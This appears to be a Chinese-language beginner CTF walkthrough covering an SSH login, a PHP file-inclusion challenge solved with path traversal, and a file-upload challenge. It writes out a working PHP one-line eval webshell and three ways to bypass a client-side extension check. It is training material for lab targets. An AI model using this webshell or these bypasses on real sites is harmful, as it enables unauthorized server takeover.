过于清爽初来乍到的小白显然不知从何入手……并且页面中的按钮也不过是摆设。
其实题目本身已经说明,要进行 ssh 远程连接。
虽然题目名显示需要 Linux ,但只是 ssh 的话,显然在 Windows 的命令行直接操作即可。
在 CMD 中输入以下命令发起连接:
ssh -p [端口号] [用户名]@[地址]
第一次连接会有如下提示,键入 yes 后回车,再输入密码即可连接成功。
ls
查看当前文件夹的内容。
~
,所以这里访问上一层目录即访问根目录。输入命令 cd ..
再 ls
查看内容。
flag
,大概率访问这个文件即可。输入命令 cat flag.txt
打开文件。
打开页面为一段代码
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/7/9
* Time: 7:07 AM
*/
highlight_file(__FILE__);
if(isset($_GET['file'])) {
$str = $_GET['file'];
include $_GET['file'];
}
file
的文件路径包含进去就能打开可能是我们需要的文件。那么我们需要的文件叫什么呢?有没有一种可能,他叫 flag
,假设假设成立,接下来验证一下。在 url 后加上 /?file=flag
回车。
../
查找上一级目录,或直接使用 /
查找根目录。在 url 后加上 /?file=/flag
回车。
/?file=/flag
,也可以使用 /?file=../../../flag
。那显然还是直接访问根目录比较优雅。upload
目录下。
jpg/png/gif
三种文件,老实说不支持 webp
我不是很认可。
这里可以先创建好一个文件,先编写好所谓的“一句话木马”。
一句话木马 将仅含一行代码的程序文件上传至目标网站,如 PHP 代码: <?php @eval($_POST["h-t-m"]);?>
@
表示其后代码即使出错也将不会报错。eval()
函数表示将参数当作代码来执行。$_POST[]
表示以 post 方式获取变量。也就是说,我们将文件上传之后,即可用对应方法向网站提交代码并执行,这里使用 post 方法。虽然我们直接定义了自己的变量名 h-t-m
,但是 @
可以保证不会报错。于是我们完全可以通过这个文件直接连接至服务器。
由于只是 js 检查,为表示对检查的尊重,我们大可以嚣张一点,将文件名命名为 木马.php
。
突破前端检查,可以直接修改对应的 js 代码,也可以直接在浏览器禁用 JavaScript ,或者直接删除 HTML 中对检查代码的调用。
以下三种方法任选其一即可
修改 js 代码需要在控制台重构函数,直接原地修改无效。查看语句找到该检查函数如下:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
可以看出,文件类型的限定语句为 var allow_ext = ".jpg|.png|.gif";
那么只要将我们要上传的文件的后缀名加入,并在控制台中执行即可:
禁用 JavaScript :右键——检查——设置——禁用即可
删除 HTML 中代码即删除如图语句即可
解除限制之后,便可以将文件上传了
刚开始对页面研究时我们得知,文件是直接上传至网页所在目录的 upload
目录下的,因此可以得知我们上传的文件的 url 为 http://靶机地址/upload/木马.php
,当然也可以在上传页直接查看文件地址。
<?php @eval($_POST["h-t-m"]);?>
,我们将通过 post 方法将内容传输至 h-t-m
变量中而实现入侵,而这个变量就是进入服务器所需要的连接密码。因此,输入变量名即可。